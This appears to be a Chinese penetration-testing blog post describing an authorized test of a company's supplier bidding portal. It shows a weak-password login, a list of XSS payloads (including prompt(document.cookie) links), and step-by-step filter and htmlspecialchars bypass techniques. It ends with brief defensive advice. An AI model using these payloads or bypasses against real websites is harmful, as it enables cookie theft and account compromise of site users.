免责声明 渗透过程为授权测试,所有漏洞均以提交相关平台,博客目的只为分享挖掘思路和知识传播 涉及知识xss注入及xss注入绕过 挖掘过程背景某次针对某目标信息搜集无意…
免责声明:
渗透过程为授权测试,所有漏洞均以提交相关平台,博客目的只为分享挖掘思路和知识传播**
涉及知识:
xss注入及xss注入绕过
挖掘过程:
背景:
某次针对某目标信息搜集无意发现某工程公司的项目招标平台
有个供应商登陆,啥也不说先来个弱口令 123456:123456
只能说弱口令yyds!!!!
发现在供应商资料中存在不少输入点,手痒随手一波xss
分享一波常用测试语句:
输入框:
<script>alert('XSS')</script>
<scr<script>ipt>alert('XSS')</scr<script>ipt>
"><script>alert("XSS")</script>
"><script>alert(String.fromCharCode(88,83,83))</script>
图片:
<img src=x onerror=alert('XSS');>
<img src=x onerror=alert('XSS')//
<img src=x onerror=alert(String.fromCharCode(88,83,83));>
<img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83));>
<img src=x:alert(alt) onerror=eval(src) alt=xss>
"><img src=x οnerrοr=alert("XSS");>
"><img src=x onerror=alert(String.fromCharCode(88,83,83));>
编辑器:
[a](javascript:window.onerror=alert;throw%201)
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](j a v a s c r i p t:prompt(document.cookie))
[a](javascript:prompt(document.cookie))
刷一波发现大部分都有过滤,但是[股份/责任人] 栏下有代码被注入成功
语句为:"<script>alert('XSS')</script>"<
\
查看该部分DOM源码:
有戏!
针对该点继续测试,构造语句:"<script>alert('XSS')</script>"<
尝试url编码:
"<script>alert("''XSS'")%3C/script%3E
这么一通注下来,对刚刚的乱注小总结一下:
- 发现 / 被转义成 =”” //
- /变成 =””
- </ script>转义成<="" script=""> 而且多个/
- 如///也只被转义成 ="" 没办法重写绕过
并且存在htmlspecialchars()函数: ",意味: """
本地测试发现script便签中存在 " 就无法弹窗
所以存在两个问题,一方面要绕过这个",而且要绕过</script>的转义
先说对</script>的绕过思路:
转换法:
前端限制绕过,直接抓包重放,或者修改html前端代码
大小写,比如:<scrIPT>alERT(1111)</scRIPT>用来绕过
拼凑:<scri<script>pt>alert(1111)</scri</script>pt>
使用注释干扰:
<scri<!--test-->pt>alert(111)</scri<!--test-->pt>
编码法:核心思路:后台过滤了特殊字符,比如<script>标签,但该标签可以被各种编码,后台不一定过滤,当浏览器对该编码进行识别时,会翻译成正常的便签,从而执行在使用编码时需要主要编码在输出点是否会被正常是不和翻译!
接下来说对"的绕过:
`htmlspecialchars()函数是把预定义的字符转换为HTML实体,预定义的字符是:
&(和号)成为 &
" (双引号)成为"
‘(单引号)成为'
<(小于号)成为<
(大于号) 成为>
可引用类型:
ENT_COMPAT-默认,仅编码双引号
ENT_QUOMES-编码双引号和单引号
ENT_NOQUOTES-不编码任何引号
`
其他函数
构造语句:
构造对"的绕过:
q'οnclick='alert(1111)'
接下来就是利用xss平台对这个注入点进行下一步利用
具体可以参考:
https://www.cnblogs.com/coderge/p/13701664.html
xss常见的防范措施
总的原则:输入做过滤,输出做转义
过滤:根据业务需求进行过滤,比如过滤要求输入手机号,则只允许输入手机号格式的数字
转义:所有输入到前端的数据都根据输出点进行转义,比如输出到HTML中进行HTML实体转义,输入到JS里面的进行JS转义
- 本文作者: 猪猪邦邦硬
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/885
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!